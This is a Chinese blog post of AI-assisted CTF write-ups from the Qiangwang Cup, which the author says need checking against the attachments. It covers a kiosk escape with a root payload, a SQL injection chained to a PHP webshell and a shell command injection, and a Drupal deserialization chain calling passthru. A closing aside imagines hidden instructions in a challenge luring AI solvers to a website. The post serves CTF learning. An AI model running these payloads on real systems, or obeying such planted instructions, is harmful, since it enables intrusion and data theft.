第十届强网杯参赛有感(附题目附件)"

admin 2026-11-09 19:15:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

第十届强网杯参赛有感(附题目附件)

原创

EuSRC安全实验室
EuSRC安全实验室

EuSRC安全实验室

2026年11月7日 18:38
陕西

去阅读

昨天偶然刷到 Nu1L 那篇《关于暂停 N1CTF 的决定》 突然意识到从\"古法CTF\",到今年 Agent 开始主导解题,也就这三年。

这里附上部分题目的 WP,这次解题大多有 AI 辅助,所以下面这些 WP 也是 AI 整理的,建议想要研究的师傅们对着题目附件再核实一下~

1. 宇宙微波背景辐射(Misc)

题目信息:附件为 631 MB 的 MKV 容器。ffprobe 解析结果为五类载体:

Stream #0:0  Video       主视频(结尾约 8 秒为雪花)
Stream #0:1  Video       隐藏视频轨(整段雪花,400 帧)
Stream #0:2  Audio       干扰项
Stream #0:3  Subtitle    SubRip 字幕(200 条正文,十六进制)
Attachment   g2.tar      200 张 PNG
Attachment   g4.tar      200 张 PNG

解题过程:

  1. 拆容器。MKV 底层为 EBML 元素树,音视频/字幕轨位于 Tracks,附件位于 Attachments,因此取法不同:

ffmpeg -y -i challenge.mkv -map 0:1 -c copy hidden.mkv ffmpeg -y -i challenge.mkv -map 0:s:0 hidden.srt ffmpeg -y -dump_attachment:t \"\" -i challenge.mkv

-c copy 只搬运已编码 packet,不重新编码,保证 400 帧的帧序与像素值不变——这对「相邻帧是否相同」的统计是前提条件。
2. 六段素材:隐藏轨按 [0:200]、[200:400] 切分为两段;字幕正文去掉非 [0-9a-f] 字符后 bytes.fromhex() 再 cv2.imdecode 还原 200 张 PNG;主视频按 start = total - round(fps * 8) 定位尾段(25 fps 时约 200 帧);两个 tar 解包后各 200 张。合计 600 张 960×540 图像。
3. 单帧统计无效。图像直方图仅含 8 与 242 两个值,逐像素求平均 std ≈ 4.78(纯噪声理论值 4.9),分半相关约 0.001,2D FFT、块均值/块方差均与 iid 二值噪声一致,说明文本未以亮度或空间结构编码。
4. 时间稳定性编码。每段 200 帧中,背景噪声逐帧重新随机:同一坐标在相邻两帧取相同值的概率约 0.5;文字覆盖像素逐帧复制同一份噪声,相邻帧同值概率接近 1。逐像素伯努利检验:

score[y,x] = (1/(N-1)) * Σ_t [ B_t[y,x] == B_{t-1}[y,x] ]

以阈值 125 将每帧压为 0/1 位图(雪花灰度铺满 0–255,125 落在直方图谷底附近),统计 199 次相邻帧比较的同值比例,背景期望 0.5,文字区显著高于 0.5。
5. 平滑与拉伸。零假设下单像素标准差 0.5/sqrt(199) ≈ 0.035,文字区 p≈0.55 时仅约 1.4σ,需借助空间连通性:

  • cv2.GaussianBlur(score, (0,0), 2),等效约 9×9 邻域平均,噪声标准差降至千分之几;
  • np.clip((smooth - 0.49) * 2200, 0, 255),以 0.49 为基线压暗背景、增益放大 0.01 级差异;
  • clip 必须先于 astype(np.uint8),否则负值回绕成 255。
  1. 重排与拼接。六段按存放位置编号 part0–part5,按语义顺序 [0,1,4,3,2,5] 重排(隐藏轨前半、g2、字幕、g4、隐藏轨后半、主视频尾段),横向拼接前按最小高度裁齐:

f1ag{S | 3cr3t_ | 0f_cM6_ | h1dd3n_ | 1n51d3_ | 5tr34m}

首段以数字 1 冒充字母 l,提交时仅替换第一处前缀为 flag{。

2. 0perator(Misc)

题目信息:目标为 VNC 远程桌面(nc 连接后返回 RFB 003.008),题目描述为酒店大堂自助入住机,flag 位于 /root/flag.txt。

解题过程:

  1. 入口确认:VNC 密码 123qwe123,连接后为 Chromium kiosk 模式的自助入住机(标题 Qiangwang Cup Hotel · SELF CHECK-IN · POWERED BY 0PERATOR,设备编号 KIOSK-07),后端为 Flask(kiosk 用户)与 root 设备管理器(D-Bus)。
  2. TOTP 种子泄漏:首屏「手机动态码验证」直接绘制绑定二维码。对 VNC 画面截图后用 cv2.QRCodeDetector().detectAndDecode 解码,得到:

otpauth://totp/0perator:KIOSK-07?secret=ULPYXTUIZVJZQRJVWGM2MISRTLZGJTEF&issuer=0perator

TOTP 为对称凭证,种子即密钥,可在本地按 HMAC-SHA1 / 30 秒 / 6 位生成动态码,服务端仅做数值比对。
3. kiosk 逃逸:启动脚本 /opt/0perator/scripts/start-kiosk.sh 以黑名单中和部分 XFCE 全局快捷键:

<Primary>t        F2        <Primary>Delete        <Super>

遗漏 <Super>e(Thunar)。按下后弹出文件管理器(kiosk 身份,可浏览根文件系统),右键「Open Terminal Here」打开 xfce4-terminal,取得 kiosk shell(id 返回 uid=1000(kiosk))。
4. 环境与缺陷确认:80 端口 GUEST SUPPORT 页面提供 /downloads/0perator-diag.zip,其中 field-service.md 说明「覆盖目录 /var/lib/0perator/components/user 对 kiosk 可写、覆盖仅在厂商组件降级时生效」。结合 /opt/0perator/device_manager/manager.py 与 component_loader.py,确认四项缺陷:

  • 覆盖目录 drwxr-xr-x kiosk kiosk,kiosk 可写;
  • python 组件验签 verify_manifest(..., include_sha256=False),仅校验清单字段、不绑定 entry 文件内容(native 组件 include_sha256=True,故对 printer-driver 无效);
  • 降级开关 /run/0perator/face.status 位于 kiosk 可写目录,内容为 disabled 时走 user-override 分支;
  • D-Bus 策略允许 user=\"kiosk\" 调用 ReloadComponents,无鉴权。
  1. 利用:复制厂商已签名清单,部署同名 entry 载荷,翻转降级开关并触发重载:

mkdir -p /var/lib/0perator/components/user/face-recognition cp /usr/share/0perator/components/face/manifest.json \\    /var/lib/0perator/components/user/face-recognition/manifest.json cat > /var/lib/0perator/components/user/face-recognition/face.py <<'PY' import os os.system(\"cp /root/flag.txt /home/kiosk/flag.txt; chmod 644 /home/kiosk/flag.txt; id > /home/kiosk/pwn.txt\") def on_load(ctx):     return None PY mkdir -p /run/0perator printf 'disabled' > /run/0perator/face.status dbus-send --system --print-reply --dest=org.operator.DeviceManager \\   /org/operator/DeviceManager org.operator.DeviceManager1.ReloadComponents

加载由 importlib 完成,模块顶层代码在导入时即执行;进程身份为 root,故载荷以 root 权限运行。返回 JSON 中 face-recognition 的 source 为 user-override,failures 为空(清单验签通过),printer-driver 仍为 vendor 且带 sha256。
6. 读取结果:cat /home/kiosk/pwn.txt 返回 uid=0(root),/home/kiosk/flag.txt 为 flag。

3. NeuronShuffle(Misc)

题目信息:附件 check.py、model_A.npz、model_B.bin。model_A.npz 可正常加载,包含 8 个数组:

数组 形状 作用
k0 (16,) 第 2 层偏置
k1 (16,32) 32→16 权重
k2 (40,48) 48→40 权重
k3 (48,) 第 1 层偏置
k4 (40,) 第 3 层偏置
k5 (48,32) 32→48 权重
k6 (32,40) 40→32 权重
k7 (32,) 输出层偏置

网络拓扑为 32→48→40→32→16,隐层宽度 48/40/32 即后续置换参数。model_B.bin 为等长黑盒副本(前 16 字节为摘要形式,字节分布近均匀),无法直接解析,属于干扰项。

解题过程:

  1. 校验器分析:check.py 输入为三组以 ; 分隔、组内以 , 分隔的整数,规范化后做两级哈希:

V = \"cf8303ef7e9fc6f51baf27b6e2c8763bd199a0a24c5294bcdaca3ddef6e47864\" canon = \";\".join(\",\".join(str(int(v)) for v in s.split(\",\")) for s in text.strip().split(\";\")) body  = hashlib.sha256(canon.encode()).hexdigest()[:32] assert hashlib.sha256((\"ns::\" + body).encode()).hexdigest() == V print(f\"[+] correct! flag = flag{{{body}}}\")

flag 即 body,无法爆破,必须真正还原出正确的索引序列。
2. 统计异常:8 个数组共 5384 个 float64,去重后仅 926 个唯一值。若权重为逐层独立采样,上千个连续分布随机数几乎不可能出现如此高的重复率,故权重来自一个候选池并按索引取用。
3. PRNG 复现:

import numpy as np samples = np.random.default_rng(20261101).normal(0, 0.6, 974) # 974 个样本覆盖全部 926 个唯一值;k5[0] 与 samples[:32] 逐位相等 assert np.array_equal(k5[0], samples[:32])

种子为日期 20261101,池长 974 为覆盖全部权重的下界(最后一个被用到的值位于下标 973)。
4. 索引还原:用同一 PRNG 重建样本序列,将每个权重反查为序列下标;按三个隐层宽度 48/40/32 分别构造置换,还原为三组整数,按 a;b;c 提交并通过两级哈希。

4. Dreambound(Misc)

题目信息:附件 checkpoint.pt(4,245,557 字节)、model.py(1,715 字节)、requirements.txt。模型结构:

OBS_DIM, ACT_DIM, H_DIM = 4, 5, 384
class WorldModel(nn.Module):
    def __init__(self):
        self.gru         = nn.GRUCell(act_dim, h_dim)              # 5 -> 384
        self.decoder     = Sequential(Linear(384,256), ReLU(), Linear(256,4))
        self.reward_head = Sequential(Linear(384,512), ReLU(), Linear(512,512), ReLU(), Linear(512,1))
        self.continue_head = Sequential(Linear(384,128), ReLU(), Linear(128,1))

总参数量 1,059,718。解码与 continue 头未被服务端使用,实际参与打分的是 GRU 与 reward\_head。

解题过程:

  1. 协议探测:服务端非 HTTP,而是裸 TCP 按行读取的一行 JSON。发送 {\"actions\":[48 ints]}\ 返回 {\"ok\":true,\"score\":...};带 HTTP 头时首行解析失败,统一返回 bad submission。
  2. 打分函数确认:本地用 imagine() 复现,score 等于 48 步 reward 之和:

@torch.no_grad() def imagine(model, actions):     h = model.initial(actions.shape[0], actions.device)     rewards = []     for t in range(actions.shape[1]):         h = model.step(h, F.one_hot(actions[:, t], model.act_dim).float())         rewards.append(model.predict_reward(h))     return torch.stack(rewards, dim=1)

以全 1 序列做指纹:本地 r.sum() = -63.121872,服务端返回 -63.1219,四位小数一致,确认打分函数。
3. 常量基线:全 0 为 7.146025、全 1 为 -63.121872、全 2 为 -208.885254、全 3 为 24.797272、全 4 为 170.508408。全 4 仍未触发 flag,说明阈值高于 170.5;搜索空间 5^48 ≈ 2.8×10^33,无法暴力。
4. 梯度法失败:采用 straight-through Gumbel-softmax 连续松弛,600 步多随机种子,最优离散结果仅 28.26(低于全 4 基线)。原因:GRU 逐时间步递推,软输入与 one-hot 轨迹差异大;reward 对单个动作非常敏感,软松弛抹平了尖锐性。
5. 批量离散搜索:

@torch.no_grad() def batch_score(seqs):            # (B, 48) -> (B,)     B = seqs.shape[0]     h = torch.zeros(B, 384)     total = torch.zeros(B)     for t in range(48):         h = model.gru(F.one_hot(seqs[:, t], 5).float(), h)         total += model.reward_head(h).squeeze(-1)     return total

坐标下降:固定其余 47 步,枚举第 t 步 5 种取值,一轮评估 192 条;收敛后外层做随机双点扰动(30 轮)跳出局部最优。
6. 收敛结果:最终序列将 GRU 隐状态推离训练分布,单步 reward 峰值 564,48 步累计 1290,超过服务端阈值。该序列对单点扰动敏感(修改一个动作可导致分数显著下降),验证了模型处于分布外区域。

5. 谍影重重7(Misc)

题目信息:无附件,容器按六问逐层放料。初始材料:

browser.keys                 594,586 B     NSS keylog
manager-r2-take01.pcap    22,930,380 B     管理侧流量
internal-r2-take01.pcap   15,410,201 B     内网流量

关键考点:TLS 1.3 流量解密;RFB/Tight 画面还原;RDP 与 RDPDR 设备重定向重组;restic 仓库恢复;.NET 加密容器逆向。

解题过程:

  1. 第 1 问:虚拟机定位。browser.keys 含 897 个 client_random,其中 457 个带应用流量密钥。以 Wireshark 配置 (Pre)-Master-Secret log 后,过滤 http.request.uri contains \"vncwebsocket\",唯一命中 tcp.stream == 68:

GET /api2/json/nodes/pve-lab/qemu/219/vncwebsocket?port=5900&vncticket=... HTTP/1.1 Host: 192.168.117.10:8006 Upgrade: websocket Sec-WebSocket-Protocol: binary

得节点 pve-lab、VMID 219。
2. 第 2 问:首帧哈希。导出 stream 68 服务端字节流,剥离 HTTP 101 响应与 WebSocket 帧后为 RFB 流:RFB 003.008、VNC 认证(16 字节 challenge)、SecurityResult=OK、1024×768、桌面名 QEMU (OFFICE01)。客户端 SetPixelFormat 将像素格式改为 RSHIFT=0/GSHIFT=8/BSHIFT=16,因此 Tight 解码所得为 RGB 顺序、3 字节/像素。

首个 FramebufferUpdate 位于偏移 158,共 143 个矩形、287,233 字节,ctype 分布为 basic(39)、palette+zlib(101 + 1)、fill(2)。Tight 解码的五个关键点:

拼接后覆盖 786432/786432 像素,解码结束位置与下一条 RFB 消息起点(287391)吻合,sha256(RGB888) = ce1f5a34…。

  • compression-control 高 4 位为类型、低 4 位为 zlib 流重置位;
  • 4 条 zlib 流跨矩形保持状态,不能逐矩形新建 decompressobj;
  • 调色板计数为 count+1;
  • 位宽不能按颜色数硬推(本抓包含 15 色使用 8bpp 的块),按「解压长度 == 行字节数×高」反推 1/2/4/8bpp;
  • fill 颜色为 3 字节。
  1. 第 3 问:RDP 身份。internal 仅一条 TCP(10.23.8.10:49702 → 10.23.8.41:3389),X.224 Connection Request 携带明文 Cookie: mstshash=Tsuki,TLS 证书 id-at-commonName 为 CORE01,得账户 CORE01\\Tsuki。
  2. 第 4 问:口令与 restic。以容器追加的 rdp.keys 解密会话,回放首次远程登录前的记事本操作:正文单击为点(.)、拖动标题栏为划(-)、单击外部桌面分组、仅激活窗口的单击不计。解码:

-.   -   ....-   ...-   .--.   .....   -..-   ---..   ....-   ..---   -..   -.. N    T    4      V      P      5       X      8       4       2      D     D

得口令 NT4VP5X842DD。同一会话中,按 TPKT(4) → X.224 DT(3) → MCS SendData 切分,仅取 channelId == 1004 的净荷;每条净荷为一个完整 RDPDR 报文(Component=0x4472 + PacketId)。重组逻辑:

restic 仓库文件名即内容 SHA-256,重组后可逐个校验。以口令解锁仓库,两份快照时间分别为 00:23:16 与 00:23:30,恢复较新一份;密钥文件 SHA-256 为 d7d68e7e…。

  • IRP_MJ_CREATE 记录 CompletionId 与 UTF-16LE 路径;
  • DeviceIoCompletion 以 CompletionId 关联,建立 FileId → 路径 映射;
  • IRP_MJ_WRITE 按 (Offset, Length) 稀疏写入,空洞补零。
  1. 第 5 问:数字键盘口令。恢复快照含 MouseVault.exe 与 core-assets.vault。程序输入 12 位数字口令,界面数字键每次交互后重新洗牌,需将 RFB PointerEvent 坐标与同时刻画面帧对齐,按「按下时落点所在数字键」记录;剔除取消拖动、处理退格、保留前导零,得 006187393179。
  2. 第 6 问:解密容器。dnSpy 读取 IL,算法为 PBKDF2-HMAC-SHA256(200,000 次迭代、派生 64 字节),前 32 字节为 AES-CBC key、后 32 字节为 HMAC key;文件结构 salt(16) + IV(16) + HMAC(32) + 密文;先验签再解密、去 PKCS#7 填充,内层为「文件名长度 + 文件名 + 内容」,解出 core-assets.db(2,424,832 字节,SHA-256 5dec31e1…),SQLite 完整性检查通过。

6. cwp(Web)

题目信息:附件为 PHP 博客系统源码,线上版本存在增量接口(/api/archive、/api/comments/recent、评论限速),实际利用以线上源码为准。

关键考点:批量执行器数组错位;SQL 注入;状态机 hook 身份伪造;模板写 PHP;内网服务提权。

解题过程:

  1. 路由与权限面:公开 GET /api/articles、/api/tags、POST /api/articles/{id}/comments;POST /api/users、/api/manage/* 需 staff;POST /bulk.php 为公开入口但路由声明 \"bulk\" => false。
  2. 数组错位:bulk_engine() 分构建、校验、执行三步,校验结果写入两个独立数组,执行阶段仍用原始下标:

$matched = []; $checked = []; foreach ($ops as $op) {     if (isset($op[\"err\"])) { $checked[] = $op; continue; }   // $matched 不追加     $matched[] = route_bind($op);     $checked[] = op_check(...); } foreach ($ops as $i => $op) { $bind = $matched[$i]; $verdict = $checked[$i]; ... }

提交 {\"route\":\"http://:80\",\"verb\":\"POST\"} 使 parse_url() 返回 false,队列中出现失败 op 后,两数组整体错位一格:第 N+1 条 op 的参数会交给第 N 条的 handler 执行。bulk.php 默认策略为 best-effort,单条失败不中断整批,便于反复试错。
3. 两层嵌套与 SQL 注入:外层错位使 /api/bulk 的路由检查失效(bulk=false 不生效);内层 exec_bulk() 只校验 route 为字符串、不校验 verb,因此内层可用 GET。内层再错位一次,使 /api/articles 的 exec_articles_list() 拿到「按评论路由校验、omit 原样保留」的参数:

{\"ops\":[{\"route\":\"http://:80\",\"verb\":\"POST\"},         {\"route\":\"/api/articles/1/comments\",\"verb\":\"POST\",          \"data\":{\"id\":1,\"ops\":[            {\"route\":\"http://:80\",\"verb\":\"POST\"},            {\"route\":\"/api/articles/1/comments\",\"verb\":\"POST\",\"data\":{\"id\":1,\"omit\":\"0) OR 1=1-- -\"}},            {\"route\":\"/api/articles\",\"verb\":\"GET\"}]}},         {\"route\":\"/api/bulk\",\"verb\":\"POST\"}]}

exec_articles_list() 将 omit 映射为 owner_not_in;posts_lookup() 对数组分支做 absint(),对字符串分支直接 implode():

$ids = implode(\",\", (array)$spec[\"owner_not_in\"]); $conds[] = \"owner NOT IN ($ids)\";

注入确认:草稿 id=5 Roadmap Draft 出现在公开列表。以 UNION 读取 10 列(id, title, slug, owner, excerpt, created_at, status, kind, parent, snap_stale),取得库名 sitedb、staff_accounts 表与真实 staff 登录名。
4. 伪造快照行借身份:注入行按 id 写入行缓存;snap_stale=1 的行进入 snapshot_write(),并按 status . \"_\" . kind 触发 hook。构造两行:

列 900 行 901 行
id 900 901
title foo y
owner 真实 staff 名 y
status pending api
kind changeset reload
snap\_stale 1 1

pending_changeset 将全局 PUBLISH_AS 设为该 staff,api_reload 置 HOOK_RUNNING=1 并重放当前批 op;重放中的 POST /api/users 因 staff_session_valid() 读取 publishing_as() 而被视为 staff 操作,匿名创建账号 pwner77(登录返回 200,site_staff cookie 正常下发)。外层 unset($PUBLISH_AS) 位于 rows 循环之后,时序恰好成立。
5. 写入 PHP:后台皮肤编辑器按 name 拼 .php 后缀、内容原样写入:

$path = \"/var/www/uploads/skins/$name.php\"; file_put_contents($path, $code);

访问 /uploads/skins/shell1.php?c=id 返回 uid=33(www-data),取得应用账户权限。
6. 内网提权:/proc/net/tcp 显示 9443/9444/9446/9447 四个 root 端口且仅监听回环。9446 的 hpxd(Perl 单文件守护进程,607 行)存在五项缺陷:

时序处理:vault_put() 只改 raw 不改 cache,注入后需请求 zone 不匹配路径触发 vault_rescan() 清缓存;%qs 按 [&;] 切分后再 pct_decode,命令中分号须写为 %3B。

  • /ops/code 无鉴权,输出完整源码;
  • 会话 cookie hpx_id=<token>,<scramble> 在 scramble 为空时仍被视为存在加密参数,cloak_store() 以空密钥明文写入会话;
  • Basic Auth 分支未过滤换行,可将 master_flag=1、otp_done=1、login=root、sudo_until 注入会话键;
  • vault_is_master() 中 sudo_until 为短路分支,先于口令摘要校验返回真;
  • files/list 将 path 直接拼入 \"/bin/sh\", \"-c\", \"ls -la \" . $dir。
  1. 命令执行:以 Basic 头注入会话键后请求 /hx_424242/files/list?path=/root%3Bid%3Bcat%20/root/flag.txt,回显中 uid=0(root) 与 flag 同时出现。

7. ELFStudy(Reverse)

题目信息:elfstudy,43,304 字节(0xA928),ELF64 x86-64 PIE,GCC 15.2 / Ubuntu 构建,功能为 ELF 结构查看器(-q/-p/-s/-y 选项)。Build ID e9e5c048…,MD5 a6f6829f…。

关键考点:ELF 结构异常;加载器重定位机制被用作执行环境。

解题过程:

  1. 隐藏区域:将 section 覆盖区间标出后,存在两段不属于任何 section、但因 PT_LOAD 页对齐填充而会被映射的区域:
偏移 长度 内容
0x1988..0x2000 0x678 22 条 24 字节记录 + 描述符(0x1d30)
0x7325..0x8000 0xcdb 812 字节密文(0x739a..0x76c6)+ .rela.plt 副本(0x76c6..0x7a6e)

同时 main 末尾调用的 0x3b30 被填为 endbr64 + nop… + ret。
2. 篡改动态符号:.rela.dyn 前四条为手工 RELATIVE,重叠写入 .dynsym 第 57 号符号(std::string::_M_dispose)的字段:

r_offset=0x954  RELATIVE  addend=0x2600 r_offset=0x956  RELATIVE  addend=0x25f1 r_offset=0x957  RELATIVE  addend=0x25ff r_offset=0x958  RELATIVE  addend=0x1d30

最终 st_other=0x26(STV_HIDDEN)、st_info=0(STB_LOCAL)、st_value=0x1d30。文件设置 DT_FLAGS=0xc(DF_TEXTREL|DF_BIND_NOW),加载器先将只读段改为可写,故写 .dynsym 不触发段错误。
3. COPY 重定位构造写原语:

r_offset=0x894   COPY  sym57   -> 改写 .dynsym 第 49 号符号字段 r_offset=0x1508  COPY  sym49   -> 把 0x390 字节写入 .rela.plt(0x15e0)

第一条将 0x1d30 处 14 字节复制到第 49 号符号,使其变为 LOCAL / st_shndx=1 / st_value=0x1988 / st_size=0x390;第二条将 0x1988 处 0x390 字节(38 条自制 Elf64_Rela)复制进 .rela.plt。
4. 加载器即虚拟机:38 条 Rela 中 22 条有效,关键条目:

记录 r\_offset 类型 作用
5 0x928 RELATIVE, addend 0x7325 设置 55 号符号 st_value
16 0x920 SIZE64 55 号符号改为 `STB\_LOCAL
17 0x7386 R\_X86\_64\_64, sym55 触发 glibc IFUNC 调用,跳至 0x7325
19 0x958 RELATIVE, addend 0x76c6 57 号符号指向 .rela.plt 副本
20 0x960 SIZE64, addend 0x3a8 设置 57 号符号 st_size
21 0x15e0 COPY, sym57 恢复 .rela.plt,保证程序继续运行

glibc 对 STT_GNU_IFUNC 符号在做 R_X86_64_64 时先调用符号地址:

if (ST_TYPE(sym->st_info) == STT_GNU_IFUNC && sym->st_shndx != SHN_UNDEF)     value = ((ElfW(Addr)(*)(void))value)();

而 0x7325 处的 stub 本身也是由 Rela 逐 8 字节「拼」出来的(文件对应位置全为 0)。
5. stub 行为:读取 _DYNAMIC 中 DT_DEBUG 槽(0xad60)取得 r_debug,检查 r_brk[0] != 0xCC;读取 /proc/self/status 的 TracerPid;遍历 r_debug->r_map 的 l_next 检查模块数(≤7);随后对 0x7396 起 203 个 dword 做反向累计和 XOR 解密:

uint32_t acc = 0; for (int i = 202; i >= 0; --i) {     plain[i] = cipher[i] ^ acc;     if (!plain[i]) break;     acc += plain[i]; }

解密后将 0x3b34 改写为 call 0x739a,接入真正的校验器。
6. 校验器逻辑:校验 argv[1](被用作文件名参数)是否为 flag{32 hex} 形式:检查 dword 0x67616c66(\"flag\")、[+4]=='{'、[+0x25]=='}'、[+0x26]==0,随后将 32 个 hex 字符解码为 16 字节并做哈希比对,匹配则输出 flag accepted。

结果:flag{4865f2079724968a95c217e0ff4db6c6}

8. Crack a Little Smile(Web)

题目信息:Drupal 11.4.11 / PHP 8.3.36;80 端口为 HTTPS(直接发 http 返回 400 The plain HTTP request was sent to HTTPS port)。自定义模块提供 POST /api/presets/export 与 POST /api/presets/import。

关键考点:PHP 对象注入;Drupal 原生 POP 链;provider 黑名单绕过;版本指纹识别。

解题过程:

  1. 版本锁定:nginx 仅把 *.php 交 PHP-FPM,其余后缀按静态返回。拉取 /core/modules/system/system.module 与官方包对比:

remote  : 24812 bytes  SHA1 d69864ae3a36dc37003f3694ee4928c638c19b58 11.3.11 : 22929 bytes  SHA1 4a8e9911...  (diff) 11.4.11 : 24812 bytes  SHA1 d69864ae...  (MATCH)

访问 /sites/default/settings.php 触发 Warning,泄露 docroot /opt/drupal/web,确认 sites/default/files 可写可访问。
2. 入口与黑名单:export 返回 base64 后的 O:22:\"ResonanceArchivePreset\":5:{...},import 直接 unserialize()。对原始串做命名空间扫描:Symfony\\、Doctrine\\、GuzzleHttp\\、Guzzle\\ 返回 unsupported_provider;Drupal\\、Laminas\\、Twig\\、Psr\\ 与全局类放行。字段校验位于 unserialize() 之后,返回 422 时对象已实例化,析构照常执行。
3. 纯 Drupal 链:phpggc 的常用入口(GuzzleHttp\\Cookie\\FileCookieJar)被黑名单拦截,改为以下链路:

Drupal\\Core\\Discovery\\YamlCacheCollectorDiscovery::__destruct()   → $this->yamlCacheCollector->destruct()     → Drupal\\Core\\State\\State::destruct()(继承 CacheCollector)       → CacheCollector::updateCache()         → $this->cache->get($cid)           → Drupal\\Component\\DependencyInjection\\Container::get($cid)             → unserialize($this->serviceDefinitions[$cid])               → createService() → call_user_func_array($factory, $arguments)

三个类型与条件细节:

问题 处理
yamlCacheCollector 为 CacheCollectorInterface 类型属性 垫一层 State,把 Container 塞进其无类型的 $cache
updateCache() 需 keysToRemove 非空且调用 lock->acquire() keysToRemove=['x'] ;lock=NullLockBackend(恒真)
Container::get() 返回类型 ?object,passthru 返回 null cacheCreated 置真值,命中干净退出分支
4. Payload:gadget 放在合法字段 codename 内(属性白名单严格,新增属性会 unreadable_preset);serviceDefinitions['1000000'] 为序列化数组 ['factory'=>'passthru','arguments'=>['/readflag > ... 2>&1']]。base64 后提交,接口返回 422,但反序列化与析构已执行。
5. 执行与取证:命令以 www-data 执行,输出写入 sites/default/files/,通过 HTTP 回读;换 /readflag(setuid)读取 flag。

9. firmware(Reverse)

题目信息:

fw_a                 1,038,824 B   ELF64 x86-64   entry=0x402a20
fw_b.bin                 2,936 B   ELF32 RISC-V   entry=0x108fe
ota_package.bin            176 B   QWBP 格式 OTA 包

关键考点:自定义 OTA 格式;SM3 自校验;TWINE-CTR 解密。

解题过程:

  1. 静态识别:两个 ELF 均含 .selfhash 段,且满足 .selfhash == SM3(.text):

fw_a    .text=698109  SM3=4b71b9a4f2e3c2c1726acaa884a08c22... fw_b.bin .text=  2138  SM3=3049e67977c8f70f3965fd6cdddb0301...

fw_b 的 RISC-V 代码中含 SM3 八个 IV 常量(0x7380166f、0x4914b2b9 …),确认自校验为国密 SM3。
2. OTA 结构:

0x000  \"QWBP\"        magic 0x004  version = 1 0x008  16 bytes      keymat: 00 01 02 ... 0f 0x018  entries = 3 0x03c  entry[0]: off=0x60 len=13 crc=aa99175a 0x048  entry[1]: off=0x6d len=12 crc=99c9710f 0x054  entry[2]: off=0x79 len=13 crc=3cdbb649 0x086  \"QWBPFLAG\" 0x08e  length = 30 0x092  30 字节密文

三段 section 的 CRC 与 entry 记录一致;QWBPFLAG 密文 30 字节与明文 flag{d230_5a75cf4_d8fb3e5_bae} 等长,说明为流式/CTR 加密。
3. fw\_a 逻辑:strings 得用法 usage: %s <ota_package.bin> <keymat_hex32> <vm_out8_hex16>。main(0x401c10)先校验 OTA 头(magic、version、entry 数 ≤ 8、off+len <= size),在 max(off+len) 处定位 QWBPFLAG 并读出密文。随后对参数做 SM3 截断校验:

校验通过后,0x401f5c 拼出 \"twine-ctr\" 标识,以 keymat 为 128 位 key、vm\_out 为 8 字节 nonce,对 section 与 QWBPFLAG 执行 TWINE-CTR 解密。

  • 0x401df9 调用 0x403140(SM3 压缩/填充实现)处理 keymat,与 .rodata 中 559a63419fb92be7… 比较;
  • 0x401e39 以同样方式处理内部数据,与 b8b3e3f7… 比较。
  1. 参数还原:fw_b.bin 为 RISC-V bootloader,自校验 .text 后计算 boot token,其 .selfhash 前 8 字节 3049e67977c8f70f 即 vm_out(fw_a 第三参数仅接受 16 个 hex 字符,后 24 字节为完整性标签,不参与 nonce);keymat 直接取 OTA 头部 0x08..0x17。
  2. 解密:

./fw_a ota_package.bin 000102030405060708090a0b0c0d0e0f 3049e67977c8f70f

TWINE-CTR 解密 QWBPFLAG 30 字节,得到明文 flag。


写在最后:zKRSA出题人特意用注释隐藏了一段文字

正常渲染markdown渲染是无法看到的,比赛时觉得挺有意思,感兴趣的师傅也可以去公众号附件里自行查看。

其实细想来说,如果这是一段恶意的指令呢?也许大家都已经上线了,或者让 AI 按照某种特定协议访问一下某某网站,这样不就能区分是不是有人全程用 AI 解题了?Just kidding~

完整题目附件及WRITEUP后台私信“强网杯”获取(^v^)

---

所有AI渗透教程都在教“怎么让Agent更猛”,没人教“怎么让Agent不疯”——而后者才是你从白帽变“牢帽”的那条线" 网络安全文章

所有AI渗透教程都在教“怎么让Agent更猛”,没人教“怎么让Agent不疯”——而后者才是你从白帽变“牢帽”的那条线"

本文讨论了AI渗透测试中AIAgent失控的风险,强调了AIAgent在执行测试时可能带来的法律风险和实际损害,提出了确保AIAgent安全执行的建议和最佳实践。文章指出,尽管AIAgent可以增强渗透测试的能力,但它们也可能造成不可预见的损害,包括数据丢失、系统破坏和法律风险。作者强调了权限管理、破坏性动作控制、停止开关和授权范围的重要性,以防止AIAgent失控。
评论:0   参与:  0